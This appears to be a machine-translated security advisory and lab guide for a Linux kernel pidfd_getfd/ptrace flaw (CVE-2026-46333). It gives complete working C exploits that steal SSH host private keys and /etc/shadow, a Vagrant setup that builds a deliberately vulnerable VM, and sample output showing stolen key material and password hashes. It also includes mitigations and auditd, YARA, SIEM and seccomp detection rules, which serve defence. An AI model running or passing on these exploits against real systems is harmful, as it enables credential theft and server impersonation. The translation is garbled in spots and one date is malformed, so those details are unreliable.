What is ssh-keysign-pwn (CVE-2026-46333)
ssh-keysign-pwn exploits a bug in ptrace_may_access() of the Linux kernel that allows an unprivileged user read root protected files such as the host's SSH private keys (/etc/ssh/ssh_host_*_key, mode 0600) and /etc/shadow.
It is not a direct escalation of privileges: it is a privileged file reading vulnerability which allows stealing credentials to obtain root later (offline cracking of the shadow hash, or impersonation of the SSH server with the stolen keys).
The bug was reported by Qualys and patched by Linus Torvalds on 05-2026-14 (commit 31e62c2ebbfd). Jann Horn had already identified the form of the attack with pidfd_getfd in October 2020. Six years open.
Key data
| Field | Worth |
|---|---|
| CVE | CVE-2026-46333 |
| Guy | Reading privileged files (information disclosure) |
| CWE | Pending assignment |
| Kernels affected | All stable ones prior to 2026-05-14 (pre-31e62c2ebbfd) |
| public exploit | Yeah (0xdeadbeefnetwork/ssh-keysign-pwn) |
| Complexity | Low (pure C, ~90 lines, no dependencies) |
| Confirmed in | Ubuntu 22.04/24.04/26.04, Debian 13, Arch, CentOS 9, RPi OS Bookworm |
The bug: ptrace_may_access() and mm-NULL
The function __ptrace_may_access() in the kernel it checks if one process can access another. Part of that verification checks if the target process is "dumpable" (it can generate core dumps). but when task->mm == NULL (the process no longer has memory mapped), skips dumpability check.
The exploitation window is in do_exit():
- A setuid process (e.g.
ssh-keysign) opens privileged files as root - The process calls
exit_mm()— frees your memory,task->mm = NULL - But the file descriptors are still open —
exit_files()it is executed later - In that window (mm=NULL, open fds),
pidfd_getfd(2)can steal file descriptors if the caller's uid matches the target's uid
pidfd_getfd(2) It is a syscall that allows you to obtain a copy of a file descriptor from another process. It is normally protected by ptrace_may_access(), but the bug in the dumpability check lets it pass when mm=NULL.
The two attack vectors
1. sshkeysign_pwn — host SSH key theft
ssh-keysign is a setuid binary that opens /etc/ssh/ssh_host_{ecdsa,ed25519,rsa}_key (mode 0600, owned by root) before calling permanently_set_uid(). Yeah EnableSSHKeysign=no (the default setting), ssh-keysign exits with the key file descriptors still open.
The exploit:
- Lance
ssh-keysignrepeatedly (up to 500 rounds) - Open a
pidfdto the child process withpidfd_open() - try
pidfd_getfd()in a fast loop (30000 attempts) over fd 3-31 - When the mm-NULL window hits, you get the fd of the private key
- Read and display key by stdout
2. chage_pwn — stealing from /etc/shadow
chage -l open /etc/shadow with O_RDONLY and then does setreuid(ruid, ruid) to remove privileges. Same race condition: the fds remain open during do_exit().
Exploitation scenarios
Where IS exploitable
| Scenery | Risk | Because |
|---|---|---|
| Multi-tenant SSH servers | Critical | Any user steals the host SSH keys and can impersonate the server (MitM) |
| Servers with local users | Critical | theft of /etc/shadow + offline cracking = root |
| CI/CD runners | High | A malicious job steals SSH keys from the runner |
| Containers (if ssh-keysign available) | High | Partial Escape: Host Credential Theft |
| Shared Cloud VMs | High | A tenant steals the VM's SSH keys |
What can be stolen
| File | As | Impact |
|---|---|---|
/etc/ssh/ssh_host_ecdsa_key | sshkeysign_pwn | Impersonate SSH server, MitM |
/etc/ssh/ssh_host_ed25519_key | sshkeysign_pwn | Impersonate SSH server, MitM |
/etc/ssh/ssh_host_rsa_key | sshkeysign_pwn | Impersonate SSH server, MitM |
/etc/shadow | chage_pwn | Offline password cracking, root if cracked |
Where it is NOT exploitable
| Scenery | Because |
|---|---|
Patched kernel (>= 31e62c2ebbfd) | The dumpability check works correctly |
| Systems without ssh-keysign | Without the setuid binary, there is no fd to steal (for that vector) |
| Containers without setuid binaries | --no-new-privileges either nosuid mount prevent attack |
| Systems with disabled passwords | Shadow without useful hashes (only * either !) |
Lab: Reproduction with Vagrant
Requirements
- Vagrant >= 2.4
- VirtualBox >= 7.0
- Internet connection
Deploy the vulnerable VM
#!/bin/bash
# deploy_ssh_keysign_pwn_lab.sh - Lab para CVE-2026-46333
# Uso: chmod +x deploy_ssh_keysign_pwn_lab.sh && ./deploy_ssh_keysign_pwn_lab.sh
LAB_DIR="ssh_keysign_pwn_lab"
echo "=== CVE-2026-46333 (ssh-keysign-pwn) Lab ==="
mkdir -p "$LAB_DIR"
cat > "$LAB_DIR/Vagrantfile" << 'EOF'
# -*- mode: ruby -*-
# CVE-2026-46333 - ssh-keysign-pwn Lab
# ptrace_may_access mm-NULL bypass + pidfd_getfd
Vagrant.configure("2") do |config|
config.vm.box = "bento/ubuntu-24.04"
config.vm.hostname = "ssh-keysign-pwn-lab"
config.vm.provider "virtualbox" do |vb|
vb.name = "ssh-keysign-pwn-lab"
vb.memory = "1024"
vb.cpus = 2
end
config.vm.provision "shell", inline: <<-SHELL
export DEBIAN_FRONTEND=noninteractive
apt-mark hold linux-image-generic linux-headers-generic linux-image-$(uname -r) 2>/dev/null
apt-get update -qq
apt-get install -y -qq gcc make git openssh-client
useradd -m -s /bin/bash attacker
echo "attacker:attacker" | chpasswd
cd /home/attacker
git clone https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn.git 2>/dev/null || true
if [ -d /home/attacker/ssh-keysign-pwn ]; then
cd /home/attacker/ssh-keysign-pwn && make
fi
chown -R attacker:attacker /home/attacker/ssh-keysign-pwn
echo ""
echo "============================================"
echo " CVE-2026-46333 ssh-keysign-pwn"
echo " Kernel: $(uname -r)"
echo "============================================"
echo " vagrant ssh && su - attacker"
echo " cd ssh-keysign-pwn"
echo " ./sshkeysign_pwn # roba claves SSH host"
echo " ./chage_pwn root # roba /etc/shadow"
echo "============================================"
SHELL
end
EOF
cd "$LAB_DIR" && vagrant up
echo "Lab listo. Conecta con: cd $LAB_DIR && vagrant ssh"Execute:
chmod +x deploy_ssh_keysign_pwn_lab.sh
./deploy_ssh_keysign_pwn_lab.shThe VM wakes up with:
- Ubuntu 24.04 with kernel
6.8.0-86-generic(vulnerable) ssh-keysigninstalled in/usr/lib/openssh/ssh-keysign- Exploit compiled in
/home/attacker/ssh-keysign-pwn/ - User
attacker(password:attacker) without privileges
Verify that the system is vulnerable
vagrant ssh
# Comprobar kernel
uname -r
# 6.8.0-86-generic
# Comprobar que ssh-keysign existe y es setuid
ls -la /usr/lib/openssh/ssh-keysign
# -rwsr-xr-x 1 root root ssh-keysign
# Comprobar que las claves SSH no son legibles
cat /etc/ssh/ssh_host_ecdsa_key
# Permission denied
# Comprobar que shadow no es legible
cat /etc/shadow
# Permission deniedRun the exploits
Steal host SSH keys:
su - attacker
# Password: attacker
cd ssh-keysign-pwn
./sshkeysign_pwnActual test output:
uid=1001 target=/usr/lib/openssh/ssh-keysign
fd 4 -> /etc/ssh/ssh_host_ecdsa_key (round=0 try=1664)
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQENXQ9aojrtWZkPgMfrQ8MN2fd8EXU
...
-----END OPENSSH PRIVATE KEY-----The exploit steals the ECDSA private key from the SSH host in the first round, after 1664 race condition attempts. The file has permissions 0600 and is owned by root, but the exploit reads it as an unprivileged user.
Steal /etc/shadow:
./chage_pwn rootActual output:
fd 6 -> /etc/shadow (round=0 try=648)
root:*:20305:0:99999:7:::
daemon:*:20305:0:99999:7:::
...
vagrant:$6$rounds=4096$5CU3LEj/...:20384:0:99999:7:::
attacker:$y$j9T$74vFTWOXXLb...:20590:0:99999:7:::Steal the entire shadow file in round 0, try 648. Password hashes can be cracked offline with hashcat either john.
Complete source code of the exploits
sshkeysign_pwn.c
The exploit sshkeysign_pwn.c It's surprisingly simple (~90 lines of pure C, no external dependencies):
/*
* "It is a fearful thing to fall into the hands of the living God."
* — Hebrews 10:31
*
* ssh-keysign opens /etc/ssh/ssh_host_*_key before permanently_set_uid().
* Bails out with the fds still open on EnableSSHKeysign=no. Race the
* exit window with pidfd_getfd. mm-NULL bypasses the dumpable check
* (kernel/ptrace.c, patched 31e62c2ebbfd 2026-05-14).
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#ifndef __NR_pidfd_open
#define __NR_pidfd_open 434
#endif
#ifndef __NR_pidfd_getfd
#define __NR_pidfd_getfd 438
#endif
static int pidfd_open(pid_t pid, unsigned f)
{
return syscall(__NR_pidfd_open, pid, f);
}
static int pidfd_getfd(int pfd, int fd, unsigned f)
{
return syscall(__NR_pidfd_getfd, pfd, fd, f);
}
static const char *PATHS[] = {
"/usr/libexec/ssh-keysign",
"/usr/libexec/openssh/ssh-keysign",
"/usr/lib/ssh/ssh-keysign",
"/usr/lib/openssh/ssh-keysign",
NULL,
};
int main(void)
{
const char *bin = NULL;
for (int i = 0; PATHS[i]; i++)
if (access(PATHS[i], X_OK) == 0) { bin = PATHS[i]; break; }
if (!bin) { fprintf(stderr, "ssh-keysign not found\n"); return 1; }
fprintf(stderr, "uid=%d target=%s\n", getuid(), bin);
for (int round = 0; round < 500; round++) {
pid_t c = fork();
if (c == 0) {
int dn = open("/dev/null", O_RDWR);
dup2(dn, 0); dup2(dn, 1); dup2(dn, 2);
execl(bin, "ssh-keysign", (char *)NULL);
_exit(127);
}
int pfd = pidfd_open(c, 0);
if (pfd < 0) { waitpid(c, NULL, 0); continue; }
int hit = 0;
for (int a = 0; a < 30000 && !hit; a++) {
for (int i = 3; i < 32; i++) {
int s = pidfd_getfd(pfd, i, 0);
if (s < 0) continue;
char p[256] = {0}, lk[64];
snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s);
ssize_t n = readlink(lk, p, sizeof(p) - 1);
if (n > 0) p[n] = 0;
if (strstr(p, "ssh_host_") && strstr(p, "_key")) {
fprintf(stderr, "fd %d -> %s (round=%d try=%d)\n", i, p, round, a);
char buf[4096];
lseek(s, 0, SEEK_SET);
ssize_t k = read(s, buf, sizeof(buf) - 1);
if (k > 0) { buf[k] = 0; fputs(buf, stdout); }
close(s);
hit = 1;
break;
}
close(s);
}
}
close(pfd);
waitpid(c, NULL, 0);
if (hit) return 0;
}
fprintf(stderr, "no hit in 500 rounds\n");
return 1;
}chage_pwn.c
The second attack vector, to steal /etc/shadow via chage:
/*
* "It is a fearful thing to fall into the hands of the living God."
* — Hebrews 10:31
*
* chage -l opens /etc/passwd and /etc/shadow before
* setreuid(ruid, ruid). The drop sets uid=euid=suid=ruid. mm-NULL
* window in do_exit() lets pidfd_getfd lift the /etc/shadow fd.
*
* Crack the root hash offline -> su - -> root shell.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#ifndef __NR_pidfd_open
#define __NR_pidfd_open 434
#endif
#ifndef __NR_pidfd_getfd
#define __NR_pidfd_getfd 438
#endif
int main(int argc, char **argv)
{
const char *user = argc > 1 ? argv[1] : "root";
for (int round = 0; round < 500; round++) {
pid_t c = fork();
if (c == 0) {
int dn = open("/dev/null", O_RDWR);
dup2(dn, 1); dup2(dn, 2);
execl("/usr/bin/chage", "chage", "-l", user, (char *)NULL);
_exit(127);
}
int pfd = syscall(__NR_pidfd_open, c, 0);
if (pfd < 0) { waitpid(c, NULL, 0); continue; }
int got = -1;
for (int a = 0; a < 30000 && got < 0; a++) {
for (int i = 3; i < 32; i++) {
int s = syscall(__NR_pidfd_getfd, pfd, i, 0);
if (s < 0) continue;
char p[256] = {0}, lk[64];
snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s);
ssize_t n = readlink(lk, p, sizeof(p) - 1);
if (n > 0) p[n] = 0;
if (strstr(p, "/etc/shadow")) {
fprintf(stderr, "fd %d -> %s (round=%d try=%d)\n", i, p, round, a);
got = s;
break;
}
close(s);
}
}
if (got >= 0) {
char buf[8192];
lseek(got, 0, SEEK_SET);
ssize_t n;
while ((n = read(got, buf, sizeof(buf))) > 0)
fwrite(buf, 1, n, stdout);
close(got);
close(pfd);
waitpid(c, NULL, 0);
return 0;
}
close(pfd);
waitpid(c, NULL, 0);
}
fprintf(stderr, "no hit in 500 rounds\n");
return 1;
}Manual compilation
gcc -O2 -o sshkeysign_pwn sshkeysign_pwn.c
gcc -O2 -o chage_pwn chage_pwn.cHow it works
The key is in pidfd_getfd(): normally fails with EPERM because ptrace_may_access() he blocks it. But during the window between exit_mm() and exit_files() in do_exit(), the dumpability check is skipped because task->mm == NULL, and pidfd_getfd() is successful.
The flow of sshkeysign_pwn is: throw ssh-keysign repeatedly (up to 500 rounds), open a pidfd to the child process, and try pidfd_getfd() in a fast loop (30000 attempts) on fd 3-31. When the mm-NULL window hits, you get the fd of the private key, verify that it points to ssh_host_*_key via /proc/self/fd/, and reads it through stdout. chage_pwn follow the same pattern but look /etc/shadow in the stolen fd.
Workarounds for unpatchable environments
Workaround 1: Disable ssh-keysign
ssh-keysign It is not used on the vast majority of systems (it is only needed for host-based authentication, which almost no one configures):
# Quitar permisos de ejecución
chmod 0 /usr/lib/openssh/ssh-keysign
# O eliminar el bit setgid
chmod g-s /usr/lib/openssh/ssh-keysign
# Verificar
ls -la /usr/lib/openssh/ssh-keysign
# ---------- 1 root ssh 0 ssh-keysignWhat breaks this: only affects host-based SSH authentication (HostbasedAuthentication yes), which is rarely used.
Workaround 2: Protect chage
On Ubuntu 24.04 chage has setgid (-rwxr-sr-x 1 root shadow), do not setuid. remove only u-s has no effect. The safe way is to restrict access completely:
# Restringir acceso (recomendado)
chmod 750 /usr/bin/chage
# O quitar todos los bits setuid/setgid
chmod a-s /usr/bin/chageWhat breaks this: chage -l will stop working for normal users. Admins can continue using sudo chage.
Workaround 3: Audit rules
# /etc/audit/rules.d/ssh-keysign-pwn.rules
# Detectar ejecución de ssh-keysign por usuarios no-root
-a always,exit -F arch=b64 -S execve -F path=/usr/lib/openssh/ssh-keysign -F auid>=1000 -k ssh_keysign_exec
# Detectar pidfd_getfd (syscall 438)
-a always,exit -F arch=b64 -S 438 -F auid>=1000 -k pidfd_getfd_attempt
# Detectar lectura de claves SSH host
-w /etc/ssh/ssh_host_ecdsa_key -p r -k ssh_host_key_read
-w /etc/ssh/ssh_host_ed25519_key -p r -k ssh_host_key_read
-w /etc/ssh/ssh_host_rsa_key -p r -k ssh_host_key_read
# Detectar ejecución masiva de chage
-a always,exit -F arch=b64 -S execve -F path=/usr/bin/chage -F auid>=1000 -k chage_execaugenrules --loadWorkaround 4: Lock pidfd_getfd with seccomp
For containers, block the syscall pidfd_getfd (438):
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"names": ["pidfd_getfd"],
"action": "SCMP_ACT_ERRNO"
}
]
}Attack detection
Commitment indicators
The exploit has a very recognizable pattern:
- Massive and rapid execution of
ssh-keysign(100-2000 spawns) - Calls
pidfd_open+pidfd_getfdin a gust - A non-root process that suddenly has a fd open pointing to
/etc/ssh/ssh_host_*_key
auditd rule
# /etc/audit/rules.d/ssh-keysign-pwn.rules
# Detectar ejecución masiva de ssh-keysign
-a always,exit -F arch=b64 -S execve -F path=/usr/lib/openssh/ssh-keysign -F auid>=1000 -k cve_2026_46333_keysign
# Detectar syscall pidfd_getfd (438) por no-root
-a always,exit -F arch=b64 -S 438 -F auid>=1000 -k cve_2026_46333_pidfd
# Detectar lectura de /etc/shadow por no-root
-w /etc/shadow -p r -k cve_2026_46333_shadow
# Detectar lectura de claves SSH host
-w /etc/ssh/ssh_host_ecdsa_key -p r -k cve_2026_46333_hostkey
-w /etc/ssh/ssh_host_ed25519_key -p r -k cve_2026_46333_hostkey
-w /etc/ssh/ssh_host_rsa_key -p r -k cve_2026_46333_hostkeyYARA rule
rule SSHKeysignPwn_CVE_2026_46333 {
meta:
description = "Detecta el exploit ssh-keysign-pwn (CVE-2026-46333)"
author = "Red Orbita"
date = "2026-05-17"
cve = "CVE-2026-46333"
severity = "critical"
strings:
$s1 = "pidfd_getfd" ascii
$s2 = "pidfd_open" ascii
$s3 = "ssh-keysign" ascii
$s4 = "ssh_host_" ascii
$s5 = "sshkeysign_pwn" ascii
$s6 = "chage_pwn" ascii
$s7 = "/etc/shadow" ascii
$s8 = "no hit in 500 rounds" ascii
condition:
($s1 and $s2 and ($s3 or $s4)) or
($s5 or $s6) or
($s8 and $s1) or
(4 of them)
}yara -r ssh_keysign_pwn.yar /home/ /tmp/ /var/tmp/ /dev/shm/Wazuh Rules
<group name="ssh_keysign_pwn,exploit,cve-2026-46333">
<!-- Ejecución de ssh-keysign por usuario no privilegiado -->
<rule id="100520" level="12">
<if_sid>80700</if_sid>
<field name="audit.key">cve_2026_46333_keysign</field>
<description>CVE-2026-46333: Ejecución de ssh-keysign por usuario no-root</description>
<mitre>
<id>T1552.004</id>
</mitre>
<group>exploit_attempt,</group>
</rule>
<!-- Ejecución masiva de ssh-keysign (>10 en 5 segundos) -->
<rule id="100521" level="15" frequency="10" timeframe="5">
<if_matched_sid>100520</if_matched_sid>
<same_source_ip/>
<description>CVE-2026-46333: Ejecución masiva de ssh-keysign (race condition en curso)</description>
<mitre>
<id>T1552.004</id>
</mitre>
<group>exploit_attempt,attack,</group>
</rule>
<!-- Uso de pidfd_getfd por no-root -->
<rule id="100522" level="12">
<if_sid>80700</if_sid>
<field name="audit.key">cve_2026_46333_pidfd</field>
<description>CVE-2026-46333: Syscall pidfd_getfd por usuario no-root</description>
<mitre>
<id>T1552</id>
</mitre>
<group>exploit_attempt,</group>
</rule>
<!-- Lectura de clave SSH host por no-root -->
<rule id="100523" level="14">
<if_sid>80700</if_sid>
<field name="audit.key">cve_2026_46333_hostkey</field>
<description>CVE-2026-46333: Lectura de clave SSH host por usuario no-root</description>
<mitre>
<id>T1552.004</id>
</mitre>
<group>credential_access,attack,</group>
</rule>
<!-- Lectura de /etc/shadow por no-root -->
<rule id="100524" level="15">
<if_sid>80700</if_sid>
<field name="audit.key">cve_2026_46333_shadow</field>
<description>CVE-2026-46333: Lectura de /etc/shadow por usuario no-root</description>
<mitre>
<id>T1003.008</id>
</mitre>
<group>credential_access,attack,</group>
</rule>
</group>Elastic Security
{
"rule": {
"name": "CVE-2026-46333 ssh-keysign-pwn - Mass ssh-keysign Execution",
"description": "Detecta ejecución masiva de ssh-keysign que indica explotación de CVE-2026-46333",
"severity": "critical",
"risk_score": 95,
"type": "threshold",
"query": "process.name: \"ssh-keysign\" AND user.id >= 1000",
"threshold": {
"field": ["host.name"],
"value": 10,
"cardinality": []
},
"threat": [
{
"framework": "MITRE ATT&CK",
"tactic": {
"id": "TA0006",
"name": "Credential Access"
},
"technique": [
{
"id": "T1552.004",
"name": "Private Keys"
}
]
}
],
"tags": ["CVE-2026-46333", "ssh-keysign-pwn", "Linux"]
}
}KQL:
# Ejecución masiva de ssh-keysign
process.name: "ssh-keysign" AND user.id >= 1000
# Uso de pidfd_getfd
auditd.data.key: "cve_2026_46333_pidfd"
# Acceso a claves SSH host
auditd.data.key: "cve_2026_46333_hostkey"Splunk
| Ejecución masiva de ssh-keysign
index=linux sourcetype=linux:audit key="cve_2026_46333_keysign"
| bucket _time span=5s
| stats count by host, auid, _time
| where count > 10
| eval severity="critical"
| Uso de pidfd_getfd por no-root
index=linux sourcetype=linux:audit syscall=438 auid>=1000
| stats count by host, auid, exe
| sort -count
| Acceso a claves SSH host o shadow
index=linux sourcetype=linux:audit (key="cve_2026_46333_hostkey" OR key="cve_2026_46333_shadow")
| stats count by host, auid, key, _timeIBM QRadar
Rule Name: CVE-2026-46333 ssh-keysign-pwn - Mass Execution
Rule Type: Event (Anomaly)
Condition:
- More than 10 events with Event Name "SYSCALL" AND "ssh-keysign"
- Within 5 seconds
- From same Source IP
Action: Dispatch Critical Offense
Severity: 10
MITRE: T1552.004Quick detection script
#!/bin/bash
# check_ssh_keysign_pwn.sh - Verificar estado de CVE-2026-46333
echo "=== CVE-2026-46333 ssh-keysign-pwn - Check ==="
echo ""
# 1. Verificar si ssh-keysign existe y es setuid/setgid
VULN=0
for path in /usr/libexec/ssh-keysign /usr/libexec/openssh/ssh-keysign \
/usr/lib/ssh/ssh-keysign /usr/lib/openssh/ssh-keysign; do
if [ -f "$path" ]; then
PERMS=$(stat -c%A "$path")
if echo "$PERMS" | grep -q "s"; then
echo "[VULNERABLE] $path tiene bit setuid/setgid: $PERMS"
VULN=1
else
echo "[OK] $path sin bit setuid/setgid: $PERMS"
fi
fi
done
if [ $VULN -eq 0 ]; then
echo "[OK] ssh-keysign no encontrado o sin setuid"
fi
# 2. Verificar si chage tiene setuid
if [ -f /usr/bin/chage ]; then
PERMS=$(stat -c%A /usr/bin/chage)
if echo "$PERMS" | grep -q "s"; then
echo "[VULNERABLE] /usr/bin/chage tiene bit setuid: $PERMS"
VULN=1
fi
fi
# 3. Verificar kernel
echo ""
echo "[INFO] Kernel: $(uname -r)"
# 4. Buscar el exploit
echo ""
echo "Buscando indicadores de compromiso..."
for dir in /home /tmp /var/tmp /dev/shm; do
find "$dir" \( -name "sshkeysign_pwn" -o -name "chage_pwn" -o -name "ssh-keysign-pwn" \) 2>/dev/null | while read f; do
echo " [ALERTA] Exploit encontrado: $f"
done
done
# 5. Verificar integridad de claves SSH
echo ""
echo "Claves SSH host:"
for key in /etc/ssh/ssh_host_*_key; do
if [ -f "$key" ]; then
PERMS=$(stat -c%a "$key")
OWNER=$(stat -c%U "$key")
echo " $key: permisos=$PERMS owner=$OWNER"
if [ "$PERMS" != "600" ] || [ "$OWNER" != "root" ]; then
echo " [ALERTA] Permisos incorrectos"
fi
fi
done
echo ""
if [ $VULN -eq 1 ]; then
echo "[VULNERABLE] Aplicar workaround: chmod 0 /usr/lib/openssh/ssh-keysign"
else
echo "[OK] Sistema no vulnerable al vector ssh-keysign"
fiDefinitive solution: update the kernel
The patch is the commit 31e62c2ebbfd by Linus Torvalds (2026-05-14), which modifies get_dumpable() to return a safe value when task->mm == NULL:
- If the process never had mm (kernel thread): returns "not dumpable" (value 0)
- If the process had mm but already released it: use the last cached dumpability value
- Requires
CAP_SYS_PTRACEto access processes without mm
Ubuntu
sudo apt update && sudo apt upgrade -y linux-image-generic
sudo rebootDebian
sudo apt update && sudo apt upgrade -y linux-image-amd64
sudo rebootRHEL/CentOS/Rocky
sudo dnf update kernel -y
sudo rebootPost-patch: rotate host SSH keys
Critical- If the system was vulnerable, the host SSH keys may have been stolen. Rotate them:
# Regenerar todas las claves SSH host
rm /etc/ssh/ssh_host_*
ssh-keygen -A
# Reiniciar sshd
systemctl restart sshd
# Notificar a los usuarios que actualicen known_hosts
echo "ATENCION: Las claves SSH del host han cambiado"
echo "Los usuarios deben ejecutar:"
echo " ssh-keygen -R <hostname>"Recommended response plan
| Priority | Action | Time |
|---|---|---|
| Immediate | chmod 0 /usr/lib/openssh/ssh-keysign on all hosts | < 30 min |
| Immediate | Deploy audit rules | < 1 hour |
| 24h | Check if /etc/shadow contains crackable hashes | < 24h |
| 24h | Rotate host SSH keys on critical servers | < 24h |
| 72h | Update kernel on all systems | < 72h |
| Post-patch | Rotate host SSH keys on all servers | After patch |
| Post-patch | Force password change if shadow was exposed | After patch |
Conclusions
CVE-2026-46333 is a 6-year-old bug in ptrace_may_access() which allows reading privileged files without authentication. What makes it dangerous:
- Simplicity: ~90 lines of C, no dependencies, works in round 0
- Universality- Affects all stable kernels before 2026-05-14
- Real impact: host SSH key theft (MitM) + shadow (offline cracking)
- difficult to detect- The exploit only runs normal system binaries (ssh-keysign, chage)
- old pattern: Jann Horn identified it in 2020, but it was not corrected until 2026
The most effective immediate mitigation is chmod 0 /usr/lib/openssh/ssh-keysign, which does not affect normal SSH operations. After patching, rotate host ssh keys It is mandatory.
Comments